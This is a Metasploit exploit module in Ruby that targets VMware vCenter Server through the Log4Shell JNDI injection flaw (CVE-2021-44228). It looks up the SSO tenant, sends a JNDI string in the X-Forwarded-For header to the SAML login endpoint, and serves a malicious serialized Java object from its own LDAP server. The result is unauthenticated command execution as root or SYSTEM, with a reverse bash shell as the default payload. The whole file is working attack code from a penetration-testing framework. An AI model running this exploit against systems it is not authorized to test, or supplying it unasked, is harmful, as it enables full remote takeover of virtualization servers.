##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Log4Shell
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::CheckModule
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(_info = {})
    super(
      'Name' => 'VMware vCenter Server Unauthenticated JNDI Injection RCE (via Log4Shell)',
      'Description' => %q{
        VMware vCenter Server is affected by the Log4Shell vulnerability whereby a JNDI string can sent to the server
        that will cause it to connect to the attacker and deserialize a malicious Java object. This results in OS
        command execution in the context of the root user in the case of the Linux virtual appliance and SYSTEM on
        Windows.

        This module will start an LDAP server that the target will need to connect to. This exploit uses the logon page
        vector.
      },
      'Author' => [
        'Spencer McIntyre', # this exploit module and JNDI/LDAP lib stuff
        'RageLtMan <rageltman[at]sempervictus>', # JNDI/LDAP lib stuff
        'jbaines-r7', # vCenter research
        'w3bd3vil' # vCenter PoC https://twitter.com/w3bd3vil/status/1469814463414951937
      ],
      'References' => [
        [ 'CVE', '2021-44228' ],
        [ 'URL', 'https://attackerkb.com/topics/in9sPR2Bzt/cve-2021-44228-log4shell/rapid7-analysis'],
        [ 'URL', 'https://www.vmware.com/security/advisories/VMSA-2021-0028.html' ],
        [ 'URL', 'https://twitter.com/w3bd3vil/status/1469814463414951937' ]
      ],
      'DisclosureDate' => '2021-12-09',
      'License' => MSF_LICENSE,
      'DefaultOptions' => {
        'RPORT' => 443,
        'SSL' => true,
        'SRVPORT' => 389,
        'WfsDelay' => 30,
        'CheckModule' => 'auxiliary/scanner/http/log4shell_scanner'
      },
      'Targets' => [
        [
          'Windows', {
            'Platform' => 'win'
          },
        ],
        [
          'Linux', {
            'Platform' => 'unix',
            'Arch' => [ARCH_CMD],
            'DefaultOptions' => {
              'PAYLOAD' => 'cmd/unix/reverse_bash'
            }
          },
        ]
      ],
      'Notes' => {
        'Stability' => [CRASH_SAFE],
        'SideEffects' => [IOC_IN_LOGS],
        'AKA' => ['Log4Shell', 'LogJam'],
        'Reliability' => [REPEATABLE_SESSION],
        'RelatedModules' => [
          'auxiliary/scanner/http/log4shell_scanner',
          'exploit/multi/http/log4shell_header_injection'
        ]
      }
    )
    register_options([
      OptString.new('TARGETURI', [ true, 'Base path', '/'])
    ])
  end

  def check
    validate_configuration!

    return Exploit::CheckCode::Unknown('Could not determine tenant from the target; the target may have returned an unexpected redirect') if tenant.nil?

    super
  end

  def check_options
    {
      'LDAP_TIMEOUT' => datastore['WfsDelay'],
      'HTTP_HEADER' => 'X-Forwarded-For',
      'TARGETURI' => normalize_uri(target_uri, 'websso', 'SAML2', 'SSO', tenant) + '?SAMLRequest=',
      'HEADERS_FILE' => nil,
      'URIS_FILE' => nil
    }
  end

  def build_ldap_search_response_payload
    return [] if @search_received

    @search_received = true

    print_good('Delivering the serialized Java object to execute the payload...')
    build_ldap_search_response_payload_inline('BeanFactory')
  end

  def tenant
    return @tenant unless @tenant.nil?

    res = send_request_cgi('uri' => normalize_uri(target_uri, 'ui', 'login'))
    return nil unless res&.code == 302
    return nil unless res.headers['Location'] =~ %r{websso/SAML2/SSO/([^/]+)\?}

    @tenant = Regexp.last_match(1)
  end

  def trigger
    @search_received = false
    # HTTP request initiator
    send_request_cgi(
      'uri' => normalize_uri(target_uri, 'websso', 'SAML2', 'SSO', tenant) + '?SAMLRequest=',
      'headers' => { 'X-Forwarded-For' => log4j_jndi_string }
    )
  end

  def exploit
    validate_configuration!

    start_service
    trigger

    sleep(datastore['WfsDelay'])
    handler
  ensure
    cleanup
  end
end
